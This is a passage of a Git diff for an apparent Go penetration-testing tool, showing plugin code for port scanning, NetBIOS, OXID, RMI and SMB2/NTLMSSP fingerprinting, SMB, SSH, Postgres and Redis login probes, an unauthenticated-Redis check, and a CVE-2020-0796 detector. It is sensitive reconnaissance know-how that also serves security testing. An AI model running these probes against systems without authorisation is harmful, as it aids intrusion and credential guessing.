if string(data[15:16]) == "\x1C" {
flagDC = "Domain Controllers"
}
if string(data[15:16]) == "\x00" {
flagUnique = nbnsByteToStringParse(data[0:16])
}
if string(data[15:16]) == "\x20" {
flagUnique = nbnsByteToStringParse(data[0:16])
}
}
}
if flagGroup == "" && flagUnique == "" {
return false, ""
}
result := make(map[string]interface{})
result["banner.string"] = flagGroup + "\\" + flagUnique
result["identify.string"] = fmt.Sprintf("[%s]", logger.LightRed(flagDC))
if len(flagDC) != 0 {
result["identify.bool"] = true
} else {
result["identify.bool"] = false
}
if result["identify.bool"] == true {
logger.Success(fmt.Sprintf("[%s] %v %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"], result["identify.string"]))
} else {
logger.Success(fmt.Sprintf("[%s] %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"]))
}
return true, fmt.Sprintf("%v", result["banner.string"])
}
func convert(b []byte) string {
s := make([]string, len(b))
for i := range b {
s[i] = strconv.Itoa(int(b[i]))
}
return strings.Join(s, "")
}
func nbnsByteToStringParse(p []byte) string {
var w []string
var res string
for i := 0; i < len(p); i++ {
if p[i] > 32 && p[i] < 127 {
w = append(w, string(p[i]))
continue
}
}
res = strings.Join(w, "")
return res
}

77
core/plugin/oxidscan.go Normal file
View File

@@ -0,0 +1,77 @@
package plugin
import (
"Yasso/core/logger"
"bytes"
"encoding/hex"
"fmt"
"net"
"strings"
"time"
)
func OxidScanConn(host string, port int, timeout time.Duration) (bool, string) {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout)
if err != nil {
return false, ""
}
msg1 := "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00\xf8\x0f\xf8\x0f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00"
msg2 := "\x05\x00\x00\x03\x10\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00"
_, err = conn.Write([]byte(msg1))
if err != nil {
return false, ""
}
reply1 := make([]byte, 256)
_, _ = conn.Read(reply1)
if hex.EncodeToString(reply1[0:8]) != "05000c0310000000" {
return false, ""
}
_, err = conn.Write([]byte(msg2))
if err != nil {
return false, ""
}
reply2 := make([]byte, 512)
_, _ = conn.Read(reply2)
if conn != nil {
_ = conn.Close()
}
c := 0
zero := make([]byte, 1)
var buffer bytes.Buffer
result := make(map[string]string)
for i := 0; i < len(reply2[42:]); {
b := reply2[42:][i : i+2]
i += 2
if 42+i == len(reply2[42:]) {
break
}
if string(b) == "\x09\x00" {
break
}
if string(b) == "\x07\x00" {
c += 1
if c == 6 {
break
}
buffer.Write([]byte("\x7C\x7C"))
result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",")
continue
}
if bytes.Equal(b[0:1], zero[0:1]) {
continue
}
buffer.Write(b[0:1])
result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",")
if c == 6 {
break
}
}
if len(strings.Split(result["banner.string"], "||")) > 0 {
logger.Success(strings.Split(result["banner.string"], "||"))
}
return true, fmt.Sprintf("%v", strings.Split(result["banner.string"], "||"))
}

22
core/plugin/postgres.go Normal file
View File

@@ -0,0 +1,22 @@
package plugin
import (
"Yasso/config"
"database/sql"
"fmt"
"time"
)
func PostgreConn(info config.ServiceConn, user, pass string) (bool, error) {
var flag = false
db, err := sql.Open("postgres", fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", user, pass, info.Hostname, info.Port, "postgres", "disable"))
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout))
defer db.Close()
err = db.Ping()
if err == nil {
flag = true
}
}
return flag, err
}

64
core/plugin/ps.go Normal file
View File

@@ -0,0 +1,64 @@
package plugin
import (
"Yasso/core/logger"
"fmt"
"net"
"sync"
"time"
)
type Scanner struct {
ports []int
ip string
scanChannel chan int
thread int
scan func(ip string, port int) bool
}
func NewRunner(ports []int, ip string, thread int, scan func(ip string, port int) bool) *Scanner {
return &Scanner{
ports: ports,
ip: ip,
scanChannel: make(chan int, 1000),
thread: thread,
scan: scan,
}
}
func (s *Scanner) RunEnumeration() []int {
var wg sync.WaitGroup
var re []int
for i := 0; i < s.thread; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for p := range s.scanChannel {
if s.scan(s.ip, p) {
logger.Info(fmt.Sprintf("%v:%v is open", s.ip, p))
re = append(re, p)
}
}
}()
}
for _, p := range s.ports {
s.scanChannel <- p
}
close(s.scanChannel)
wg.Wait()
return re
}
func tcpConn(ip string, port int) bool {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), 100*time.Millisecond)
if err != nil {
return false
}
conn.Close()
return true
}
//TODO: 暂定目前还没有syn扫描方式
func synConn(ip string, port int) bool {
return true
}

105
core/plugin/redis.go Normal file
View File

@@ -0,0 +1,105 @@
package plugin
import (
"Yasso/config"
"Yasso/core/logger"
"fmt"
"net"
"strings"
"time"
)
func RedisAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) {
var flag = false
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
if err != nil {
return conn, false, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
if err != nil {
return conn, false, err
}
// 认证
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return conn, false, err
}
reply, err := RedisReply(conn)
if err != nil {
return conn, false, err
}
if strings.Contains(reply, "+OK") {
flag = true
dbfilename := redisInfo(conn, reply)
logger.Info(fmt.Sprintf("Redis %s:%v Login Success dbfilename:[%v]", info.Hostname, info.Port, dbfilename))
}
return conn, flag, nil
}
func RedisUnAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) {
_, _ = user, pass
var flag = false
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
if err != nil {
return conn, false, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
if err != nil {
return conn, false, err
}
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return conn, false, err
}
reply, err := RedisReply(conn)
if err != nil {
return conn, false, err
}
if strings.Contains(reply, "redis_version") {
flag = true
dbfilename := redisInfo(conn, reply)
logger.Success(fmt.Sprintf("Redis %s:%v unauthorized dbfilename:[%v] ", info.Hostname, info.Port, dbfilename))
}
return conn, flag, nil
}
func RedisReply(conn net.Conn) (string, error) {
var (
r string
err error
)
buf := make([]byte, 5*1024)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
r += string(buf[0:count])
if count < 5*1024 {
break
}
}
return r, err
}
func redisInfo(conn net.Conn, reply string) string {
var (
dbfilename string
)
// 读取filename
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
if err != nil {
return ""
}
text, err := RedisReply(conn)
if err != nil {
return ""
}
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
return dbfilename
}

58
core/plugin/rmi.go Normal file
View File

@@ -0,0 +1,58 @@
package plugin
import (
"Yasso/config"
"Yasso/core/logger"
"bytes"
"encoding/hex"
"fmt"
"net"
"strings"
)
// RMIConn 识别rmi服务方式
func RMIConn(info config.ServiceConn, user, pass string) bool {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
if err != nil {
return false
}
msg := "\x4a\x52\x4d\x49\x00\x02\x4b"
_, err = conn.Write([]byte(msg))
if err != nil {
return false
}
reply := make([]byte, 256)
_, _ = conn.Read(reply)
if conn != nil {
_ = conn.Close()
}
var buffer [256]byte
if bytes.Equal(reply[:], buffer[:]) {
return false
} else if hex.EncodeToString(reply[0:1]) != "4e" {
return false
}
// 这里解析出字符串
banner := byteToString(reply)
logger.Success(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
return true
}
func byteToString(p []byte) string {
var w []string
var res string
for i := 0; i < len(p); i++ {
if p[i] > 32 && p[i] < 127 {
w = append(w, string(p[i]))
continue
}
asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1]))
w = append(w, asciiTo16)
}
res = strings.Join(w, "")
if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") {
s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00")
return s[0]
}
return res
}

46
core/plugin/smb.go Normal file
View File

@@ -0,0 +1,46 @@
package plugin
import (
"Yasso/config"
"errors"
"github.com/stacktitan/smb/smb"
"time"
)
func SmbConn(info config.ServiceConn, user, pass string) (bool, error) {
signal := make(chan struct{})
var (
flag bool
err error
)
go func() {
flag, err = dialSmbTimeOut(info, user, pass, signal)
}()
select {
case <-signal:
return flag, err
case <-time.After(1 * time.Second):
return false, errors.New("smb conn time out")
}
}
func dialSmbTimeOut(info config.ServiceConn, user, pass string, signal chan struct{}) (bool, error) {
var flag = false
options := smb.Options{
Host: info.Hostname,
Port: 445,
User: user,
Password: pass,
Domain: info.Domain,
Workstation: "",
}
session, err := smb.NewSession(options, false)
if err == nil {
session.Close()
if session.IsAuthenticated {
flag = true
}
}
signal <- struct{}{}
return flag, err
}

View File

@@ -1,9 +1,11 @@
package cmd
package plugin
import (
"Yasso/config"
"Yasso/core/logger"
"bytes"
"fmt"
"net"
"time"
)
@@ -93,8 +95,8 @@ const (
"\x00\x00\x00\x00"
)
func SmbGhostConn(info config.HostIn) bool {
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
func SmbGhostConn(info config.ServiceConn) bool {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
if err != nil {
return false
} else {
@@ -108,7 +110,7 @@ func SmbGhostConn(info config.HostIn) bool {
}
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
Println(fmt.Sprintf("[+] %s Find CVE-2020-0796", info.Host))
logger.Success(fmt.Sprintf("%s Find CVE-2020-0796", info.Hostname))
return true
} else {
//Println(ip + " Not Vulnerable")

596
core/plugin/smbscan.go Normal file
View File

@@ -0,0 +1,596 @@
package plugin
import (
"Yasso/core/logger"
"bytes"
crand "crypto/rand"
"encoding/binary"
"encoding/hex"
"fmt"
"io"
"net"
"strings"
"time"
)
func SmbScanConn(host string, port int, timeout time.Duration) (bool, string) {
res, _, err := smb2(host, port, timeout)
if err != nil || res["ntlmssp.Version"] == "" {
return false, ""
} else {
banner := fmt.Sprintf("[%s]\n[%s (version) || %s (FQDN Name) ||%s (Domain Name) ||%s (Netbios Name)]",
fmt.Sprintf("%s:%v", host, port),
res["ntlmssp.Version"],
res["ntlmssp.DNSComputer"],
res["ntlmssp.TargetName"],
res["ntlmssp.NetbiosComputer"],
)
logger.Success(banner)
return true, banner
}
}
// -------------smb--------------------------------
// smb2 from https://github.com/RumbleDiscovery/rumble-tools/blob/main/cmd/rumble-smb2-sessions/main.go
func smb2(host string, port int, timeout time.Duration) (map[string]string, []byte, error) {
// SMB1NegotiateProtocolRequest is a SMB1 request that advertises support for SMB2
var smb1NegotiateProtocolRequest = []byte{
0x00, 0x00, 0x00, 0xd4, 0xff, 0x53, 0x4d, 0x42,
0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x43, 0xc8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x02,
0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52,
0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02,
0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46,
0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52,
0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00,
0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f,
0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00,
0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31,
0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e,
0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x44,
0x4f, 0x53, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41,
0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4c, 0x41,
0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00,
0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02,
0x4e, 0x54, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41,
0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e,
0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31,
0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32,
0x2e, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x4d,
0x42, 0x20, 0x32, 0x2e, 0x3f, 0x3f, 0x3f, 0x00,
}
info := make(map[string]string)
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout)
if err != nil {
return info, []byte{}, err
}
err = SMBSendData(conn, smb1NegotiateProtocolRequest, timeout)
if err != nil {
return info, []byte{}, err
}
data, err := SMBReadFrame(conn, timeout)
if err != nil {
return info, []byte{}, err
}
err = SMBSendData(conn, SMB2NegotiateProtocolRequest(host), timeout)
if err != nil {
return info, []byte{}, err
}
data, _ = SMBReadFrame(conn, timeout)
SMB2ExtractFieldsFromNegotiateReply(data, info)
// SMB2SessionSetupNTLMSSP is a SMB2 SessionSetup NTLMSSP request
var smb2SessionSetupNTLMSSP = []byte{
0x00, 0x00, 0x00, 0xa2, 0xfe, 0x53, 0x4d, 0x42,
0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x01,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x58, 0x00, 0x4a, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0x48, 0x06, 0x06,
0x2b, 0x06, 0x01, 0x05, 0x05, 0x02, 0xa0, 0x3e,
0x30, 0x3c, 0xa0, 0x0e, 0x30, 0x0c, 0x06, 0x0a,
0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02,
0x02, 0x0a, 0xa2, 0x2a, 0x04, 0x28, 0x4e, 0x54,
0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00,
0x00, 0x00, 0x97, 0x82, 0x08, 0xe2, 0x00, 0x00,
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x0a, 0x00,
0xba, 0x47, 0x00, 0x00, 0x00, 0x0f,
}
setup := make([]byte, len(smb2SessionSetupNTLMSSP))
copy(setup, smb2SessionSetupNTLMSSP)
// Set the ProcessID
binary.LittleEndian.PutUint16(setup[4+32:], 0xfeff)
err = SMBSendData(conn, setup, timeout)
if err != nil {
return info, []byte{}, err
}
data, err = SMBReadFrame(conn, timeout)
SMB2ExtractSIDFromSessionSetupReply(data, info)
SMBExtractFieldsFromSecurityBlob(data, info)
return info, data, err
}
// RandomBytes generates a random byte sequence of the requested length
func RandomBytes(numBytes int) []byte {
randBytes := make([]byte, numBytes)
err := binary.Read(crand.Reader, binary.BigEndian, &randBytes)
if err != nil {
return nil
}
return randBytes
}
// SMBReadFrame reads the netBios header then the full response
func SMBReadFrame(conn net.Conn, t time.Duration) ([]byte, error) {
timeout := time.Now().Add(time.Duration(t) * time.Second)
res := []byte{}
nbh := make([]byte, 4)
err := conn.SetReadDeadline(timeout)
if err != nil {
return res, err
}
// Read the NetBIOS header
n, err := conn.Read(nbh[:])
if err != nil {
// Return if EOF is reached
if err == io.EOF {
return res, nil
}
// Return if timeout is reached
if err, ok := err.(net.Error); ok && err.Timeout() {
return res, nil
}
// If we have data and received an error, it was probably a reset
if len(res) > 0 {
return res, nil
}
return res, err
}
if n != 4 {
return res, nil
}
res = append(res[:], nbh[:n]...)
dlen := binary.BigEndian.Uint32(nbh[:]) & 0x00ffffff
buf := make([]byte, dlen)
n, err = conn.Read(buf[:])
if err != nil {
// Return if EOF is reached
if err == io.EOF {
return res, nil
}
// Return if timeout is reached
if err, ok := err.(net.Error); ok && err.Timeout() {
return res, nil
}
// If we have data and received an error, it was probably a reset
if len(res) > 0 {
return res, nil
}
return res, err
}
res = append(res[:], buf[:n]...)
return res, nil
}
// SMB2ExtractFieldsFromNegotiateReply extracts useful fields from the SMB2 negotiate response
func SMB2ExtractFieldsFromNegotiateReply(blob []byte, info map[string]string) {
smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'})
if smbOffset < 0 {
return
}
data := blob[smbOffset:]
// Basic sanity check
if len(data) < (64 + 8 + 16 + 36) {
return
}
switch binary.LittleEndian.Uint16(data[64+2:]) {
case 0:
info["smb.Signing"] = "disabled"
case 1:
info["smb.Signing"] = "enabled"
case 2, 3:
info["smb.Signing"] = "required"
}
info["smb.Dialect"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint16(data[64+4:]))
//info["smb.GUID"] = uuid.FromBytesOrNil(data[64+8 : 64+8+16]).String()
info["smb.Capabilities"] = fmt.Sprintf("0x%.8x", binary.LittleEndian.Uint32(data[64+8+16:]))
negCtxCount := int(binary.LittleEndian.Uint16(data[64+6:]))
negCtxOffset := int(binary.LittleEndian.Uint32(data[64+8+16+36:]))
if negCtxCount == 0 || negCtxOffset == 0 || negCtxOffset+(negCtxCount*8) > len(data) {
return
}
negCtxData := data[negCtxOffset:]
idx := 0
for {
if idx+8 > len(negCtxData) {
break
}
negType := int(binary.LittleEndian.Uint16(negCtxData[idx:]))
negLen := int(binary.LittleEndian.Uint16(negCtxData[idx+2:]))
idx += 8
if idx+negLen > len(negCtxData) {
break
}
negData := negCtxData[idx : idx+negLen]
SMB2ParseNegotiateContext(negType, negData, info)
// Move the index to the next context
idx += negLen
// Negotiate Contexts are aligned on 64-bit boundaries
for idx%8 != 0 {
idx++
}
}
}
// SMB2ParseNegotiateContext decodes fields from the SMB2 Negotiate Context values
func SMB2ParseNegotiateContext(t int, data []byte, info map[string]string) {
switch t {
case 1:
// SMB2_PREAUTH_INTEGRITY_CAPABILITIES
if len(data) < 6 {
return
}
hashCount := int(binary.LittleEndian.Uint16(data[:]))
// MUST only be one in responses
if hashCount != 1 {
return
}
hashSaltLen := int(binary.LittleEndian.Uint16(data[2:]))
hashType := int(binary.LittleEndian.Uint16(data[4:]))
hashName := "sha512"
if hashType != 1 {
hashName = fmt.Sprintf("unknown-%d", hashType)
}
info["smb.HashAlg"] = hashName
info["smb.HashSaltLen"] = fmt.Sprintf("%d", hashSaltLen)
case 2:
// SMB2_ENCRYPTION_CAPABILITIES
if len(data) < 4 {
return
}
cipherCount := int(binary.LittleEndian.Uint16(data[:]))
if len(data) < 2+(2*cipherCount) {
return
}
// MUST only be one in responses
if cipherCount != 1 {
return
}
cipherList := []string{}
for i := 0; i < cipherCount; i++ {
cipherID := int(binary.LittleEndian.Uint16(data[2+(i*2):]))
cipherName := ""
switch cipherID {
case 1:
cipherName = "aes-128-ccm"
case 2:
cipherName = "aes-128-gcm"
default:
cipherName = fmt.Sprintf("unknown-%d", cipherID)
}
cipherList = append(cipherList, cipherName)
}
info["smb.CipherAlg"] = strings.Join(cipherList, "\t")
case 3:
// SMB2_COMPRESSION_CAPABILITIES
if len(data) < 10 {
return
}
compCount := int(binary.LittleEndian.Uint16(data[:]))
if len(data) < 2+2+4+(2*compCount) {
return
}
// MUST only be one in responses
if compCount != 1 {
return
}
compList := []string{}
for i := 0; i < compCount; i++ {
compID := int(binary.LittleEndian.Uint16(data[8+(i*2):]))
compName := ""
switch compID {
case 0:
compName = "none"
case 1:
compName = "lznt1"
case 2:
compName = "lz77"
case 3:
compName = "lz77+huff"
case 4:
compName = "patternv1"
default:
compName = fmt.Sprintf("unknown-%d", compID)
}
compList = append(compList, compName)
}
info["smb.CompressionFlags"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint32(data[4:]))
info["smb.CompressionAlg"] = strings.Join(compList, "\t")
}
}
// SMBSendData writes a SMB request to a socket
func SMBSendData(conn net.Conn, data []byte, timeout time.Duration) error {
err := conn.SetWriteDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
if err != nil {
return err
}
n, err := conn.Write(data)
if err != nil {
return err
}
_ = n
return nil
}
// SMB2ExtractSIDFromSessionSetupReply tries to extract the SessionID and Signature from a SMB2 reply
func SMB2ExtractSIDFromSessionSetupReply(blob []byte, info map[string]string) {
smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'})
if smbOffset < 0 {
return
}
smbData := blob[smbOffset:]
if len(smbData) < 48 {
return
}
status := binary.LittleEndian.Uint32(smbData[8:])
info["smb.Status"] = fmt.Sprintf("0x%.8x", status)
sessID := binary.LittleEndian.Uint64(smbData[40:])
info["smb.SessionID"] = fmt.Sprintf("0x%.16x", sessID)
if len(smbData) >= 64 {
sigData := hex.EncodeToString(smbData[48:64])
if sigData != "00000000000000000000000000000000" {
info["smb.Signature"] = sigData
}
}
}
// SMBExtractValueFromOffset peels a field out of a SMB buffer
func SMBExtractValueFromOffset(blob []byte, idx int) ([]byte, int, error) {
res := []byte{}
if len(blob) < (idx + 6) {
return res, idx, fmt.Errorf("data truncated")
}
len1 := binary.LittleEndian.Uint16(blob[idx:])
idx += 2
// len2 := binary.LittleEndian.Uint16(blob[idx:])
idx += 2
off := binary.LittleEndian.Uint32(blob[idx:])
idx += 4
// Allow zero length values
if len1 == 0 {
return res, idx, nil
}
if len(blob) < int(off+uint32(len1)) {
return res, idx, fmt.Errorf("data value truncated")
}
res = append(res, blob[off:off+uint32(len1)]...)
return res, idx, nil
}
// SMBExtractFieldsFromSecurityBlob extracts fields from the NTLMSSP response
func SMBExtractFieldsFromSecurityBlob(blob []byte, info map[string]string) {
var err error
ntlmsspOffset := bytes.Index(blob, []byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00, 0x02, 0x00, 0x00, 0x00})
if ntlmsspOffset < 0 {
return
}
data := blob[ntlmsspOffset:]
// Basic sanity check
if len(data) < (12 + 6 + 12 + 8 + 6 + 8) {
return
}
idx := 12
targetName, idx, err := SMBExtractValueFromOffset(data, idx)
if err != nil {
return
}
// Negotiate Flags
negotiateFlags := binary.LittleEndian.Uint32(data[idx:])
info["ntlmssp.NegotiationFlags"] = fmt.Sprintf("0x%.8x", negotiateFlags)
idx += 4
// NTLM Server Challenge
idx += 8
// Reserved
idx += 8
// Target Info
targetInfo, idx, err := SMBExtractValueFromOffset(data, idx)
if err != nil {
return
}
// Version
versionMajor := uint8(data[idx])
idx++
versionMinor := uint8(data[idx])
idx++
versionBuild := binary.LittleEndian.Uint16(data[idx:])
idx += 2
ntlmRevision := binary.BigEndian.Uint32(data[idx:])
// macOS reverses the endian order of this field for some reason
if ntlmRevision == 251658240 {
ntlmRevision = binary.LittleEndian.Uint32(data[idx:])
}
info["ntlmssp.Version"] = fmt.Sprintf("%d.%d.%d", versionMajor, versionMinor, versionBuild)
info["ntlmssp.NTLMRevision"] = fmt.Sprintf("%d", ntlmRevision)
info["ntlmssp.TargetName"] = TrimName(string(targetName))
idx = 0
for {
if idx+4 > len(targetInfo) {
break
}
attrType := binary.LittleEndian.Uint16(targetInfo[idx:])
idx += 2
// End of List
if attrType == 0 {
break
}
attrLen := binary.LittleEndian.Uint16(targetInfo[idx:])
idx += 2
if idx+int(attrLen) > len(targetInfo) {
// log.Printf("too short: %d/%d", idx+int(attrLen), len(targetInfo))
break
}
attrVal := targetInfo[idx : idx+int(attrLen)]
idx += int(attrLen)
switch attrType {
case 1:
info["ntlmssp.NetbiosComputer"] = TrimName(string(attrVal))
case 2:
info["ntlmssp.NetbiosDomain"] = TrimName(string(attrVal))
case 3:
info["ntlmssp.DNSComputer"] = TrimName(string(attrVal))
case 4:
info["ntlmssp.DNSDomain"] = TrimName(string(attrVal))
case 7:
ts := binary.LittleEndian.Uint64(attrVal[:])
info["ntlmssp.Timestamp"] = fmt.Sprintf("0x%.16x", ts)
}
// End of List
if attrType == 0 {
break
}
}
}
// TrimName removes null bytes and trims leading and trailing spaces from a string
func TrimName(name string) string {
return strings.TrimSpace(strings.Replace(name, "\x00", "", -1))
}
// SMB2NegotiateProtocolRequest generates a new Negotiate request with the specified target name
func SMB2NegotiateProtocolRequest(dst string) []byte {
base := []byte{
0xfe, 0x53, 0x4d, 0x42,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x05, 0x00,
0x01, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00,
}
// Client GUID (16)
base = append(base[:], RandomBytes(16)...)
base = append(base[:], []byte{
0x70, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x02, 0x02, 0x10, 0x02, 0x00, 0x03, 0x02, 0x03,
0x11, 0x03, 0x00, 0x00, 0x01, 0x00, 0x26, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00,
0x01, 0x00,
}...)
// SHA-512 Salt (32)
base = append(base[:], RandomBytes(32)...)
base = append(base[:], []byte{
0x00, 0x00, 0x02, 0x00, 0x06, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0e, 0x00,
0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00,
0x01, 0x00, 0x00, 0x00,
}...)
encodedDst := make([]byte, len(dst)*2)
for i, b := range []byte(dst) {
encodedDst[i*2] = b
}
netname := []byte{0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
binary.LittleEndian.PutUint16(netname[2:], uint16(len(encodedDst)))
netname = append(netname, encodedDst...)
base = append(base, netname...)
nbhd := make([]byte, 4)
binary.BigEndian.PutUint32(nbhd, uint32(len(base)))
nbhd = append(nbhd, base...)
return nbhd
}
//-------------------------------------------------

126
core/plugin/ssh.go Normal file
View File

@@ -0,0 +1,126 @@
package plugin
import (
"Yasso/config"
"Yasso/core/logger"
"Yasso/core/utils"
"bytes"
"fmt"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"os"
"path"
"regexp"
"strings"
"time"
)
func SshConnByUser(info config.ServiceConn, user, pass string) (*ssh.Client, bool, error) {
sshConfig := &ssh.ClientConfig{User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: info.Timeout}
con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
if err != nil {
return nil, false, err
}
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig)
if err != nil {
return nil, false, err
}
return ssh.NewClient(c, ch, re), true, err
}
func SshConnByKey(info config.ServiceConn, user string) (*ssh.Client, bool, error) {
var (
err error
HomePath string
key []byte
)
switch {
case info.PublicKey == "":
HomePath, err = os.UserHomeDir()
if err != nil {
return nil, false, err
}
key, err = ioutil.ReadFile(path.Join(HomePath, ".ssh", "id_rsa"))
if err != nil {
return nil, false, err
}
case info.PublicKey != "":
key, err = ioutil.ReadFile(info.PublicKey)
if err != nil {
return nil, false, err
}
}
signer, err := ssh.ParsePrivateKey(key)
if err != nil {
return nil, false, err
}
sshConfig := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{
ssh.PublicKeys(signer),
},
Timeout: info.Timeout,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
